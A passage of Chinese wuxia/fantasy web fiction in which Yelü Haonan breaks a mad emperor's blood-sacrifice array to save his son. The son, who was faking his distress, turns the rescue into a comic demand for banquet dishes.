远处宫檐的最高处,凌霄子扛着顾小怜,领着嘴里叼着果子、一步三回头的刘朔,如同展翅的大鸟,几个起落,便轻盈地投入了那渐渐明亮、广阔无垠的天空背景之中,消失不见。 一场以最惨烈的死亡为开端的悲剧故事,或许……正在另一处不为人知的时空,以另一种无人知晓的方式,悄然埋下了续写的伏笔。 ------ 皇宫外,某条僻静的巷弄尽头,曙光已清晰照亮了斑驳的墙壁。 耶律皓南忽然停下了疾奔的脚步。 杨排风也随之停下,微微喘息,抬起眼,不解地看他。 晨光中,他的侧脸线条依旧冷硬,但眼底那些常年不化的冰霜与阴鸷,似乎被这一夜的巨震与奔逃,冲刷得淡去了许多。他缓缓转过身,面对着她。 “排风。” 他开口,声音依旧带着经历一夜惊变的沙哑,却奇异地褪尽了最后一丝属于“耶律皓南”的冰冷与算计,只剩下一种疲惫的、真实的、甚至带着一丝不确定的温和。 他看着她,目光深邃,仿佛要看到她灵魂深处。 “等我……化解了体内的反噬,” 他顿了顿,喉结滚动了一下,仿佛说出下面的话,需要极大的勇气,“我们……带朔儿……” 他又停住了,似乎在斟酌词句,又似乎不确定她是否愿意。 最终,他看着她清澈的、映着晨光的眼睛,低声道: “……去江南看看。” 没有华丽的许诺,没有深情的告白,只有一句平淡的、关于未来的、带着不确定的邀约。 江南。 那是与她出身、与他过往都截然不同的,温暖、水润、没有边关风沙、没有宫廷阴谋、没有国仇家恨的地方。 杨排风怔住了。 她看着他,看着他眼中那小心翼翼的试探,与深藏的、不容错辨的期盼。 良久,良久。 她没有说话。 只是,缓缓地,极其用力地,回握住了他那只一直未曾松开、此刻微微汗湿的、骨节分明的大手。 十指紧扣。 温度,从彼此掌心,一点点传递,蔓延至冰冷的指尖,再缓缓流入,那颗同样历经沧桑、伤痕累累,却依旧顽强跳动的心脏。 宫墙脊兽的阴影,在他们身后渐渐缩短,终将被升起的朝阳彻底驱散。 远处最高的宫檐上,无人看见的角落。 凌霄子不知何时又溜了回来,蹲在屋脊上,掏出一只质地温润、雕刻着奇异星纹的玉蝉,轻轻按在乖乖坐在他身边的刘朔眉心。 “小子,看好了,记住了。” 凌霄子难得用极其认真的语气说道,指尖在玉蝉上拂过,那玉蝉竟泛起一层幽蓝如星空的流光,顺着他的指尖,隐隐与刘朔眉心相触。 “你爹你娘……是挺笨的。一个死心眼,一个倔脾气,凑一块儿,没少干糊涂事,没少走弯路,没少……互相伤害。” 他顿了顿,看着刘朔清澈的眼睛: “可是啊,他们活着。笨拙地、带着伤地、跌跌撞撞地……还在一起。哪怕一个逃了六年,一个找了六年;哪怕一个恨着,一个念着;哪怕前路还是未知,还是可能有大风大浪……” “只要他们还活着,还在一起,” 凌霄子轻轻点了点刘朔的额头,那玉蝉的幽蓝光芒悄无声息地渗入孩子肌肤,消失不见,“你,就还有家可回。有爹可气,有娘可撒娇,有台可拆。” “这人间啊,最难得的,不是聪明绝顶,不是一帆风顺,而是……历尽劫波,痴心不改,笨拙相守。” 刘朔似懂非懂,但看着师父少有的郑重神色,还是用力点了点头,咧嘴一笑,露出两颗尖尖的小虎牙,在晨光中闪闪发亮: “知道啦,师傅!拆台我最在行了!” 凌霄子失笑,揉了揉他的脑袋,扛起顾小怜,再次看向那两道携手消失在巷口晨光中的身影,摇头,又轻轻笑了笑。 “痴儿啊……” 这一次,那叹息声中,少了戏谑,多了几分悠长的、难以言喻的慨叹与祝福。 他转身,扛着人,领着徒弟,如同他来时一般,悄无声息地,融入了这片刚刚苏醒的、广阔天地之间。 前路漫漫,道阻且长。 但至少此刻,朝阳初升,晨光熹微,有人携手,走向一个或许不同的明天。 6. 悲壮救子与天价菜 西夏皇宫祭坛·天魔阵核心 天,是压城的黑。并非寻常雨云,而是浓稠得化不开、仿佛汲取了世间所有怨气与煞气凝结而成的墨黑云层,低低地悬在祭坛上空,距离最高的祭坛尖顶不过数十丈,沉重得令人窒息。云层并非静止,而是在缓缓旋转,形成一个巨大的、覆盖了整个皇宫乃至半座兴庆府的黑暗漩涡,漩涡中心正对着下方祭坛,隐隐有紫红色的雷光在深处流窜,发出低沉的、仿佛巨兽磨牙般的轰鸣。 地,是浸血的红。九根需三人合抱的玄铁祭柱,按照某种邪恶的星宿方位,深深钉入祭坛中央。玄铁本身暗沉无光,但此刻,柱身表面却爬满了活物般蠕动、闪烁的血色符文!那些符文并非雕刻,更像是以活人精血混合某种阴邪能量直接“书写”其上,随着阵法运转,如同有生命的赤红毒蛇,在冰冷的玄铁表面蜿蜒、缠绕、吞吐着令人作呕的猩红光芒。空气中弥漫着刺鼻的腥甜铁锈气,混杂着血肉焦糊与陈年血垢的恶臭,吸一口便觉五脏六腑都在翻搅。 祭坛地面,以暗红近黑的不知名矿石铺就,同样刻满了密密麻麻、深可容指的阵法沟壑,此刻沟壑中翻滚着粘稠、暗红、冒着气泡的液体,像地底沸腾的血池。无数扭曲挣扎的透明虚影——那是被阵法强行拘束、炼化的生魂——在血池与符文间无声哀嚎,它们的“哭声”直接作用于灵魂,带来万箭穿心般的尖锐刺痛与无边绝望。 刘朔,被以特殊材质的浸油牛筋细绳,呈“大”字形绑在中央那根最粗的祭柱上。绳子看似不粗,却坚韧无比,且被施了邪法,深深勒进孩子细嫩的手腕、脚踝皮肉之中,勒痕处皮开肉绽,殷红的血珠不断渗出,滴落。 血珠并未直接落地,而是被一股无形的力量牵引,精准地滴入祭柱下方一个拳头大小、不断旋转的漆黑“阵眼”之中。 “滴答。” 血珠落入的刹那,竟发出金石相击般清脆而诡异的响声!与此同时—— “咔嚓——!” 头顶浓黑的漩涡云层,应声撕裂开一道刺目欲盲的紫色闪电!电光如利剑劈下,几乎擦着祭坛边缘掠过,将天地映得一片妖异的紫白! “轰隆隆——!” 地底深处,传来闷雷滚动般的巨响,但那声音更似万千冤魂被同时撕裂、挤压、焚烧时发出的、混合了极致痛苦与怨恨的集体嗡鸣,直冲耳膜,震荡魂魄!整个祭坛,乃至方圆数里的地面,都随之剧烈震颤! 李元昊便立于这狂风呼啸、电闪雷鸣、鬼哭神嚎的炼狱中心。 他未着龙袍冕旒,只一身玄色劲装,但衣袍上以金线混合人发绣满了狰狞的魔神图腾。他长发未束,在狂暴的气流中疯狂飞舞、散乱,发间,斜斜插着一支样式简单、却与他周身邪气格格不入的素银簪子——那是顾小怜生前最常戴的饰物。簪尾,一点早已干涸发黑的血痂,如同一个不灭的印记。 他左手提着一串以婴儿细小颅骨打磨、刻满咒文、以人筋串联的骨铃,右手握着一面以整张鞣制过的人皮为幡面、以人骨为杆、浸透暗红血污的招魂血幡。腰间,更别着一面以少女背部最光滑紧致的皮肤绷成、绘着诡异天魔舞姿的人皮鼓。 此刻,他仰头望着天际不断撕裂又弥合、电光肆虐的云涡,痴痴地笑着,眼中却无半分笑意,只有一片猩红空洞的疯狂。他轻轻摇动左手的骨铃。 “叮铃……叮铃……” 铃声并不清脆,反而嘶哑、滞涩,如泣如诉,仿佛无数婴灵在同时抽噎。在这鬼哭狼嚎的背景音中,竟奇异地清晰。 “小怜……你看……” 他对着虚空,对着发间那支银簪,温柔地低语,声音却因极度情绪而扭曲变形,“这天地变色,电闪雷鸣……像不像那年,我们被困在金雪山脚下,遇到的那场百年不遇的暴风雪?” 他仿佛陷入了美好的回忆,嘴角扯出一个怪异的弧度: “那时候……真冷啊。雪片子砸在脸上,像刀子。你把我护在怀里,自己冻得嘴唇发紫……可你看我的眼神,还是那么暖……” 他语气骤然一变,带上浓烈的委屈与控诉,“可后来……你总说我作恶时才会那样瞪我,用那种……冷冰冰的、失望的眼神……” 他猛地瞪圆了猩红的眼睛,死死“瞪”着虚空,仿佛顾小怜就站在那里: “如今!朕要焚尽九州!炼化苍生!让这天地都为朕的‘天魔阵’颤抖!你怎么还不来骂朕?!啊?!你怎么不瞪我了?!” “骗子!!!” 毫无征兆地,他暴起一脚,将祭坛边摆放着的一盘盘尚在微微抽搐的鲜活心脏、缠绕着怨魂的骷髅头等“祭品”,狠狠踢翻!祭品滚落血池,激起更大的怨魂哀嚎。 他面目狰狞,獠牙因暴怒而隐约毕露,对着空荡的祭坛、对着发间银簪、对着不存在的幻影嘶吼: “你连尸首……都不肯留给我!!! 你让我……连最后摸一摸你、替你擦掉血的机会都没有!!!顾小怜!你好狠的心!你比朕狠一千倍!一万倍!!” ------ 祭坛边缘,最浓重的阴影与血光交织处。 耶律皓南如同蛰伏的受伤凶兽,强忍着体内因靠近阵眼而越发剧烈的、天门阵反噬的锥心之痛,以及新愈心脏因这滔天邪气与血脉感应而产生的疯狂擂动,一步,一步,极其艰难地向着祭坛中心、向着儿子的方向逼近。 脚下,那些翻滚的血池液体与怨魂,仿佛有生命般试图缠绕他的脚踝,被他周身勉强提起的、属于紫微斗数的清正星光艰难荡开。每踏出一步,都仿佛踩在烧红的刀尖之上,又似顶着万钧巨石逆行,五脏六腑都被无形的煞气压得生疼,额角青筋暴起,冷汗早已浸透内衫。 他目睹着李元昊对着银簪癫狂呓语、时而温柔时而暴怒的疯魔模样。 刹那间,时光倒流,场景重叠。 他仿佛看见了六年前,天门阵前,那个立于阵眼、手握匕首、即将剜心祭阵的——他自己。 同样的孤绝。 同样的疯狂。 同样的……以毁灭世界或自身的方式,来证明某种存在,来呼唤某个再也得不到回应的人,来填补内心那个因失去而变得巨大空洞的、绝望的执念。 只不过,李元昊选择的是拉外界万物陪葬,而他当年,选择的是献祭自身的一切。 那种深入骨髓的、以“恶”与“毁灭”来向命运、向所爱之人、向全世界咆哮质问的疯狂本质,如同一根淬了万年寒冰的锥子,狠狠刺入耶律皓南的灵台,带来刺骨的寒意与……惊心动魄的熟悉感。 “原来……魔怔至此,竟是这般模样……” 他心中冰寒一片。 ------ “苦儿——!!!” 李元昊突然发狂般扯动手中的招魂血幡!幡面血光大盛,一阵剧烈波动后,竟浮现出一幕清晰得令人心碎的动态幻象—— 正是三日前,偏殿之中,顾小怜抓着他的手,将剑刺入自己心口的那一刹那!她凄美的容颜,决绝的眼神,微动的唇形,仿佛正在重复那句无声的遗言。 幻象中,顾小怜的眼神,穿透时空,直直“瞪”着此刻癫狂的李元昊,那眼神里有痛惜,有绝望,有最后的情意,更有着当年她曾说过的那句誓言化为实质的控诉: “苦儿!你若再造杀孽,我必以死相谏!” “谏啊!!你再来谏朕啊!!!” 李元昊如同被这幻象彻底刺激,发出野兽般的咆哮,竟徒手,狠狠抓向那血幡上映出的、顾小怜的幻象! “嗤——!” 他的指尖触及血幡的戾气核心,瞬间被灼烧出缕缕带着焦臭的黑烟,皮开肉绽,但他恍若未觉,只是疯狂地试图抓住那抹虚幻的影子。 “你死了……你死了好啊!你死了,朕就杀!杀尽天下人!杀到尸山血海,杀到天道崩塌!杀到这阴司地府也容不下你这缕孤魂!” 他声音嘶哑破裂,充满了毁灭一切的快意与更深沉的痛苦,“看你……还能往哪里躲?!还能躲到哪里去不见朕?!” 疯狂的话语戛然而止。 他忽然又极其温柔、甚至带着一丝小心翼翼地,用那只被灼伤的手,轻轻抚摩着发间那支染血的银簪,语调骤然变得缠绵悱恻,如同情人间最亲密的低语,与周遭地狱景象形成令人毛骨悚然的对比: “小怜……别怕……等朕炼成这‘天魔诛仙阵’,掌控了生死轮回之力……朕就把你的魂魄,从阴司召回来,就锁在这支簪子里……” 他低下头,仿佛在与簪子对话,眼中闪烁着病态而狂热的光: “日日戴着,夜夜看着。你再也不能离开朕了……我们再也不会分开了……好不好?” “……” 耶律皓南心神剧震,几乎站立不稳。 他原以为李元昊炼天魔阵,是为了追求至高力量,或是为了征服宋廷。 却万万没想到,这席卷天地、以万千生灵为祭的疯狂之举,最核心、最偏执的目的,竟是为了——召唤一个已逝之人的亡灵!是以屠戮苍生为代价,进行一场逆天而行的、绝望的招魂仪式! 这疯魔的背后,竟是如此纯粹、又如此令人胆寒的痴妄与绝望! 他猛地想起了当年天门阵前,杨排风不顾一切挡在他身前,试图阻止他时,那双盛满了震惊、痛苦、哀求与最后一丝希望的眼睛。 一股刺骨的寒意,猝不及防地窜上他的脊梁,瞬间冻结了四肢百骸—— 如果……如果当年,杨排风真的死在了天门阵前,死在了他的面前,甚至……因他而死。 他耶律皓南,在之后漫长的、失去她的岁月里,在复国无望、众叛亲离、日夜承受反噬之苦的煎熬中…… 是否会……变成另一个“李元昊”? 是否会同样陷入这种以毁灭一切来填补空洞、以罪恶来证明存在、以更深的黑暗来呼唤那缕早已消散的微光的、万劫不复的疯魔深渊? 这个念头,让他如坠冰窟,遍体生寒。 ------ “嗡——!!!” 就在耶律皓南心神失守的刹那,祭坛异变陡生! 那九根玄铁祭柱上的血色符文,光芒大放,如同烧红的烙铁!柱身嗡鸣震动,与地底血池、天上黑云产生剧烈共鸣! “轰!轰!轰!……” 整整七十二道水桶粗细、纯粹由凝练到极致的血煞之气构成的光柱,自祭坛各处关键阵眼冲天而起!如同一座瞬间成型的、鲜血浇筑的囚笼,将整个祭坛核心,连同中央的刘朔、癫狂的李元昊,以及刚刚逼近的耶律皓南,全部笼罩其中! 光柱之间,无数更细的血色雷霆如电网般交织闪烁,散发出毁灭一切的狂暴气息!天魔阵,进入最后、也是最凶险的炼化阶段!阵法之力开始疯狂抽取、炼化刘朔体内那缕“武曲星”元神本源!孩子身上绑缚的牛筋绳亮起邪光,勒得更深,小脸因痛苦而瞬间失去血色,嘴唇咬得发白,却硬生生没叫出声。 “朔儿——!!!” 眼看儿子性命危在旦夕,耶律皓南目眦欲裂,什么反噬剧痛、什么心神震动、什么前车之鉴,全部被抛到九霄云外!胸中只剩下滔天的父性本能与焚心的恐惧! “啊——!!!” 他仰天发出一声撕裂长空、混合了无尽痛楚与决绝意志的长啸!不再压制,反而强行、彻底地引动了体内刚刚恢复些许的、属于北斗紫微的星辰本源之力!甚至不惜以损耗寿元、燃烧神魂为代价,将那股浩大却因反噬而难以调动的力量,狂暴地灌注于四肢百骸! “噗!噗!噗!……” 强行运功的后果立现!他眼、耳、口、鼻七窍之中,同时渗出了殷红的鲜血!鲜血并未滴落,而是被周身狂暴的气劲裹挟,在凛冽如刀的腥风中,瞬间凝结成一颗颗细小的、妖异的血色冰晶,环绕他飞舞! “紫微斗数,星移天罡!给我——破!!!” 他并指如剑,指尖凝聚着一点璀璨到极致、却也脆弱到极致的紫金色星芒,对着面前一道最粗的血色光柱,狠狠点去! “嗤——!!!” 紫金星芒与血色光柱悍然对撞!没有惊天动地的巨响,只有一种令人牙酸的、能量疯狂湮灭消磨的尖锐嘶鸣!耶律皓南浑身剧震,口中鲜血狂喷,但那道血色光柱,也被这搏命一击,硬生生撕裂开一道狭窄的缝隙! “呃啊——!” 他不管不顾,趁着缝隙未合,如同扑火的飞蛾,合身撞了进去!周身萦绕的血色冰晶与残余的紫金光华,与四周的血色雷霆电网剧烈摩擦,爆出连绵不绝的火花与黑烟,他身上的衣物瞬间出现无数焦痕,皮肤传来灼烧的剧痛。 但他终于冲到了中央祭柱之下! “朔儿!坚持住!” 他嘶吼着,手中凝聚最后的力量,化掌为刀,对着那闪烁着邪光、深深嵌入儿子皮肉的牛筋绳,狠狠斩下! “崩!崩!崩!” 坚韧无比的邪法绳索,应声而断! 失去了束缚,刘朔小小的身子软软倒下。耶律皓南踉跄着上前,伸出颤抖不止、血迹斑斑的双臂,用尽全身最后的力气,将儿子冰冷、颤抖的小小身躯,紧紧、紧紧地抱入怀中。 “朔儿……别怕……” 他声音沙哑破碎得不成样子,带着劫后余生的颤抖与无尽的后怕,笨拙地、一遍遍重复着,“爹来了……爹在这儿……不怕……” 怀中的孩子,身体冰冷,气息微弱。 耶律皓南的心,痛得缩成一团。 然而—— 就在他满腔悲壮、父爱如山、准备拼死杀出一条血路带儿子离开这人间地狱的瞬间—— 怀中那“奄奄一息”的小人儿,长长的睫毛,忽然颤动了一下。 然后,缓缓地,睁开了眼睛。 那是一双……乌溜溜、亮晶晶、清澈透底,甚至带着一丝……狡黠笑意的眼睛。 哪里还有半分刚才的痛苦虚弱、命悬一线? 耶律皓南:“……?” 刘朔眨了眨眼,确认自己安全地待在父亲怀里,虽然爹看起来有点惨,然后小脸上迅速切换表情,从“狡黠”变成了“惊魂未定、委屈巴巴、急需安慰”。 但接下来的动作,却与这表情毫不相干。 只见他极其熟练、甚至带着点“业务娴熟”的意味,伸出那只刚刚获得自由、还带着勒痕、却灵活无比的小手,“唰”地一下,扒开了耶律皓南那早已被血、汗、焦痕弄得一塌糊涂的衣襟,露出了里面还算干净的白色中衣。 然后,在耶律皓南呆滞、茫然、完全跟不上节奏的目光注视下—— 刘朔变戏法似的,从自己袖口摸出了一小截烧黑的炭笔。 接着,他趴在耶律皓南胸口,以父亲染血的中衣为“账本”,小手握着炭笔,开始一笔一划、极其认真、字迹歪歪扭扭却清晰可辨地—— 记账。 “爹!” 他一边写,一边用带着演技十足哭腔的软糯声音“汇报”,但内容却让耶律皓南差点再次吐血: “樊楼的蟹黄毕罗,这次必须要双份蟹膏!不然补不回我流的血!” “驼蹄羹,一定要用西域来的正经驼蹄熬的!御膳房拿普通牛蹄糊弄人的不算!” “雪婴儿,必须要现从冰窖刮的、没沾人气的冰屑!” 写完这三道“主菜”,他顿了顿,仰起小脸,努力挤出两滴货真价实的、因为刚才确实有点吓到的眼泪,抽了抽鼻子: “呜……刚才吓死我了……李元昊那个坏蛋,绑得我好疼,还放鬼叫吓我……心灵受到了巨大的创伤!” 然后,低头,继续“记账”: “所以,还得加一份蜜煎金橘压惊,要雕成小兔子样子的!” “还有樱桃酪!要浇西域蜂蜜的!” “哦对了,樊楼新出的玲珑牡丹鲙听说也不错……” 他写得专注,算得认真,仿佛在规划一场关乎生死存亡的国宴。 “……” 耶律皓南彻底石化了。 他满腔的悲壮、决绝、父爱、后怕、与强敌对峙的紧张、对阵法反噬的忍受、拼死一击的惨烈…… 全部,凝固了。 像一锅烧得滚烫、即将沸腾的油,突然被兜头浇下了一大盆带着冰碴的冷水。 “嗤啦”一声,心火灭了,只剩下一缕荒谬绝伦的青烟,和满心满脸的……懵。 他拼着七窍流血、经脉欲裂、差点当场去世的风险,斩妖除魔、浴血奋战、上演父子情深、感天动地…… 结果,就换来他亲儿子,在这血雨腥风、鬼哭狼嚎、强敌环伺的天魔阵核心祭坛上,用炭笔在他染血的中衣上,列了一份——汴京顶级食肆樊楼的、详细到令人发指的、天价报价单?!! “噗——!!!” 一股再也压制不住、混合了荒谬、震怒、哭笑不得、以及浓浓无力感的腥甜血气,猛地冲上耶律皓南的喉头! 他控制不住地,剧烈咳嗽起来! “咳咳咳——!!” 一大口颜色暗沉、带着内脏碎块的黑血,从他口中狂喷而出! 不偏不倚,正正溅在了中衣上,儿子刚刚写下的、墨迹未干的“樱桃酪”三个字上。 “樱桃酪”瞬间被血污覆盖、模糊,像一朵惨烈绽开的、带着铁锈味的花。 “……” 刘朔看着那滩血,小脸终于白了白,缩了缩脖子,小声嘀咕:“……这个……可以不算钱,我请爹吃……” ------ “哎哟我去!老子看不下去了!” 一个忍无可忍、充满嫌弃的嗓音,如同炸雷般,突然在祭坛上空响起! 只见凌霄子如同鬼魅般,从一根高大的、刻满符文的祭坛石梁上翻了下来,轻飘飘落地,动作潇洒,与这惨烈战场格格不入。他撇着嘴,脸上写满了“这届家长太难带”、“这娃没救了”的复杂表情。 “别看我!” 凌霄子先发制人,指着耶律皓南怀里还在“记账”的刘朔,痛心疾首地对耶律皓南说: “这小子是青出于蓝而胜于蓝!彻底没救了! 我凌霄子行走江湖百十年,最多也就骗顿酒钱、讹件袍子!他倒好——” 他手指颤抖地指着耶律皓南胸口那份“血染的菜单”,“他这是要直接把你啃得骨头都不剩啊!直接奔着啃老本、继承遗产去了! 一顿饭吃掉你半座北汉皇宫啊!造孽啊!!” 他骂骂咧咧,手腕却是一抖—— “咻!咻!咻!” 三道乌光,以肉眼难以捕捉的速度,从他袖中激射而出!精准无比地,钉穿了离耶律皓南父子最近的三根、正在疯狂抽取刘朔血气与元神的辅助祭柱上的核心符文节点**! “咔嚓!咔嚓!咔嚓!” 被钉穿的符文瞬间黯淡、碎裂!那三根祭柱的嗡鸣戛然而止,血光迅速消退。整个天魔大阵的运转,出现了一丝明显的凝滞和紊乱! ------ “小怜——!!!” 远处,终于从对银簪的痴迷呓语中被阵法异动惊醒的李元昊,发出一声狂暴的怒吼!他血红的眼睛死死盯住了祭坛中央,那对“旁若无人”的父子,以及突然出现的凌霄子,眼中杀意沸腾! “你看见没?!有人要坏朕的好事!要阻止朕接你回来!” 他对着银簪嘶吼,猛地挥动手中的招魂血幡! “给朕——炼化了他!!!” “轰——!!!” 天魔阵残余的力量,加上李元昊疯狂的催动,化为一股更加庞大、更加暴戾的血色洪流,如同怒海狂涛,从四面八方,朝着刚刚遭受重创、还抱着儿子的耶律皓南,疯狂席卷、挤压而来!势要将他父子二人,连同那个碍事的老道,一同碾碎、炼化! 反噬之力,混合着阵法的狂暴攻击,如同决堤的毁灭潮汐,轰然涌至! 耶律皓南旧伤未愈,新力未生,又刚刚经历心神剧震与吐血,面对这排山倒海的攻击,已是强弩之末。 但他没有退。 甚至没有试图躲避或格挡。 在血色洪流及体的前一刻,他猛地转身,用自己宽阔却染血、伤痕累累的脊背,死死挡在了儿子刘朔的身前!将孩子严严实实地护在了自己怀中与冰冷的祭柱之间! 他单膝重重跪地,膝盖撞击在坚硬的祭坛地面上,发出闷响。以脊背为盾,以身躯为墙,准备用血肉之躯,硬抗这毁灭一击! “爹——!” 怀中的刘朔,终于收起了所有的嬉笑与算计,小脸瞬间惨白,惊呼出声!他感觉到了父亲身体的颤抖,感觉到了那扑面而来的、足以撕碎一切的死亡气息! 然而,就在这千钧一发、生死一线的关头—— 刘朔突然用力勾住耶律皓南的脖子,将小嘴凑到父亲血迹斑斑的耳边,用又快又急、却异常清晰的、只有两人能听到的气音,快速说道: “爹!别怕! 我早就让师傅在这祭坛底下、主要阵眼的反面,埋了七张他特制的‘偷天换日’加‘釜底抽薪’连环克制符!” 小家伙语速飞快,带着与年龄不符的冷静与一点点小得意: “刚才……刚才我流血、发光、被抽魂的样子,一大半是演戏!是师傅教的‘龟息装死’加‘血气导引’法!配合阵法光线效果,专骗李元昊那个疯子!让他以为阵法运转顺利,放松警惕!” “真的被抽走的只有一点点……师傅说当喂狗了,回头吃顿好的就补回来!” “那符差不多该发动了!” 仿佛为了印证他的话—— “嗡……!!!” 祭坛地面,那沸腾的血池与沟壑,毫无征兆地,同时剧烈震颤起来!而且震颤的源头和频率,与李元昊催动的阵法之力,截然不同,甚至隐隐相克! “咔嚓、咔嚓、咔嚓……” 地面那些坚硬的暗红矿石,竟然开始出现细密的、龟裂般的纹路!纹路之中,透出丝丝缕缕纯净的、银白色中带着淡金的光芒,与周遭的血色邪光激烈对抗、消融! 天魔阵的运转,受到了来自根基的、强大的干扰和阻滞!轰向耶律皓南的血色洪流,威力肉眼可见地衰减、紊乱! “给!” 趁着耶律皓南被这突如其来的变故惊得一愣的瞬间,刘朔飞快地将一个东西,塞进了耶律皓南那只紧紧护着他、沾满血污的掌心里。 耶律皓南下意识低头一看—— 掌心里,静静躺着半块被捏得有点变形、却还散发着淡淡油香和甜味的……酥饼。 酥饼边缘,还有一个清晰无比的、小巧的牙印。 显然,某位小爷即便是在“演戏”被绑、命悬一线的时候,也没忘记偷偷藏点零食,并且抓住机会啃了两口。 “……” 耶律皓南低头,凝视着掌心那半块带着儿子牙印的酥饼。 再抬头,看看怀里儿子那张虽然脏污、却眉眼灵动、此刻正带着点小得意和小紧张看着自己的、酷似自己幼时、却比自己当年鲜活明亮千百倍的小脸。 忽然之间,许多早已尘封、不愿回忆的久远记忆,翻涌而上—— 幼年,北汉亡国后,他流落民间,藏身于前朝废弃的、暗无天日的地下石城。为争夺半块已经发馊、爬满霉点的冷馒头,他与同样饥饿的野狗、与更凶狠的流浪儿厮打,被打得头破血流、奄奄一息,却依旧死死护着那点可怜的食物…… 那时,饥饿是刻在骨头里的恐惧,活着是每时每刻的挣扎,温暖与饱足是遥不可及的奢望。 何曾想过,有朝一日,他会为了另一个小生命,甘愿以背抵刀,以命相护? 又何曾想过,这个让他甘愿付出一切的小生命,会在生死关头,不是哭喊着害怕,不是诉说着遗言,而是……塞给他半块带着牙印的酥饼,并告诉他“别怕,有后手”? 荒谬。 离奇。 却又……真实得让他心脏酸软,眼眶发热。 “呵……” 一声极低、极轻、却异常清晰的低笑,从耶律皓南喉间溢出。 那笑声里,有无奈,有荒唐,有劫后余生的虚脱,更有一种……连他自己都未曾预料到的、如释重负的柔软与纵容。 原来…… 为人父的牵绊,为人夫的责任,落入这红尘俗世的泥沼…… 竟是这样一种甘之如饴、心甘情愿被这只小狐狸“敲竹杠”、“算计”、“啃老本”的感觉。 甚至觉得,这“竹杠”敲得还挺有水平,这“算计”算得让人安心,这“老本”……啃得他心头发软,毫无怨言。 ------ “小怜!你看见没?!朕这就炼化了这武曲星元神!这就接你回来——!!!” 远处,李元昊对祭坛根基的异变似乎有所察觉,但疯狂压倒理智,他不管不顾,更加疯狂地催动血幡,将目标再次死死锁定气息“微弱”的刘朔,嘶声咆哮! 刘朔耳朵一动,立刻扯开尚且稚嫩、却中气十足的嗓门,对着耶律皓南“惨叫”起来,演技浮夸却有效: “爹——!!救命啊——!! 那个疯子还要杀我!还要抽我的魂!我受了二次惊吓!心灵创伤超级加倍了!!” 他一边“惨叫”,一边偷偷抬起小脸,对着耶律皓南飞快地眨了下眼,然后继续“哭诉”: “得加菜!必须加! 樊楼的玲珑牡丹鲙!要现片现摆的!不然……不然我这创伤好不了!会做噩梦的!” “……” 耶律皓南嘴角抽搐了一下,看着怀里这只“戏精”儿子,忽然觉得,李元昊的疯魔,似乎也没那么可怕了。 至少,他家这只小的,疯得比较……有烟火气,且目标明确。 “哈哈哈!好!好啊!” 凌霄子抚掌大笑,声音洪亮,瞬间压过了阵阵鬼哭与风雷。他几步掠到耶律皓南身边,完全无视了不远处癫狂的李元昊和仍在挣扎运转的天魔阵,重重一巴掌拍在耶律皓南那因强撑而微微颤抖的肩膀上。 “傻小子!看懂了没?!” 凌霄子眼中精光闪烁,带着洞悉一切的戏谑与深意,指着耶律皓南怀里还在“讨价还价”的刘朔: “这才是天下第一等厉害的‘破执之阵’! 什么天门阵,什么天魔阵,都比不上!” “恭喜你啊,刘皓南!” 凌霄子笑声畅快,带着一种“孺子可教”的欣慰,“今日,此刻,此地!你才算——” 他指尖一弹,一枚边缘磨得锋利的铜钱,如同流星般射出,精准无比地击中了李元昊手中那串正在疯狂摇动、铃声刺耳的婴颅骨铃! “铛——!” 骨铃应声而碎!化为齑粉! “——正式落入这滚滚红尘,心甘情愿被套上‘枷锁’啦! 从今往后,什么复国大业,什么皇图霸梦,都得给你儿子这份‘天价菜单’让路!哈哈哈!” 随着骨铃碎裂,祭坛根基的克制符彻底爆发,加上凌霄子看似随意、实则精准的破坏—— “轰隆隆——!” 天魔阵的运转,终于出现了致命的停滞和紊乱!血色光柱明灭不定,地底血池沸腾倒灌,无数怨魂失去束缚,开始尖啸着四散冲击阵法本身! 天空,那浓稠如墨、旋转不休的黑云漩涡,仿佛被一只无形巨手搅动,开始剧烈震荡、溃散! 狂风,骤然停歇。 刺目的、纯净的天光,如同利剑,顽强地、一缕缕刺破越来越稀薄的黑云,洒落在这片刚刚经历炼狱的祭坛之上。 光明,重回人间。 ------ 耶律皓南单膝跪在逐渐平静、却满目疮痍的祭坛上,怀中抱着他失而复得、古灵精怪的儿子,背后是渐渐崩解的天魔阵与癫狂未休的李元昊,肩上是师叔那重重的一掌,耳边是儿子关于“玲珑牡丹鲙”的絮叨…… 他缓缓地、深深地吸了一口气。 空气中,依旧有浓烈的血腥与焦臭。 但似乎,也夹杂了一丝……劫后余生的、微凉的清新。 他抬手,用还算干净的袖口内衬,轻轻抹去自己唇边、下颌沾染的、已然半干的血迹。动作缓慢,却异常稳定。 然后,他低头,看着怀里正眼巴巴望着他、等着“菜单”答复的儿子。 小家伙脸上还糊着血污和灰土,一双眼睛却亮得惊人,里面映着逐渐明亮的天光,也映着他自己狼狈却不再冰冷的倒影。 “走。” 耶律皓南开口,声音依旧沙哑,却奇异地平静下来,甚至带着一丝难以察觉的、如释重负的温和。 他手臂用力,将刘朔小小的身子,稳稳地、熟练地往自己肩上一扛!如同每一个最普通的、带孩子出游归家的父亲。 “哎?” 刘朔骑在父亲宽阔却略显单薄的肩头,愣了一下,随即双眼爆发出难以置信的、璀璨的光芒,声音因激动而拔高: “走?!爹!我们去哪儿?!是去……樊楼吗?!真的吗?!” “嗯。” 耶律皓南淡淡应了一声,扛着儿子,转身,迈步,朝着祭坛之外,那片渐渐清晰、洒满阳光的废墟与宫墙走去。步伐有些虚浮,却异常坚定。 “哇——!!爹你最好了!你是天下第一好的爹!” 刘朔在耶律皓南肩头兴奋地手舞足蹈,差点把耶律皓南带个趔趄。 “那我要再加一瓮冰镇琼霜酒!樊楼秘制的!夏天喝最解暑了!” 小家伙得寸进尺,开始畅想美好未来。 “……” 耶律皓南脚步微微一顿。 肩头的刘朔立刻屏住呼吸,缩了缩脖子,准备迎接父亲的“休得放肆”。 然而,耶律皓南只是几不可闻地、几不可察地,轻轻叹了一口气。 那叹息里,没有怒意,没有冰冷。 只有一种认命般的、却又甘之如饴的…… 无奈,与纵容。 “……先看看,有没有卖糖葫芦的。” 他低声说道,扛着欢呼雀跃的儿子,一步一步,坚定地,走向那片破碎却充满生机的、阳光渐暖的天地。 宫墙之外,人声隐约,市井喧嚣,似已遥遥可闻。 夜色,如同最浓稠的劣质墨汁,被一只疯狂的手毫不吝啬地泼洒在西夏皇宫深处那片已成废墟的祭坛之上。没有星月,天幕沉重得仿佛要压塌这片刚经历过毁灭的土地。 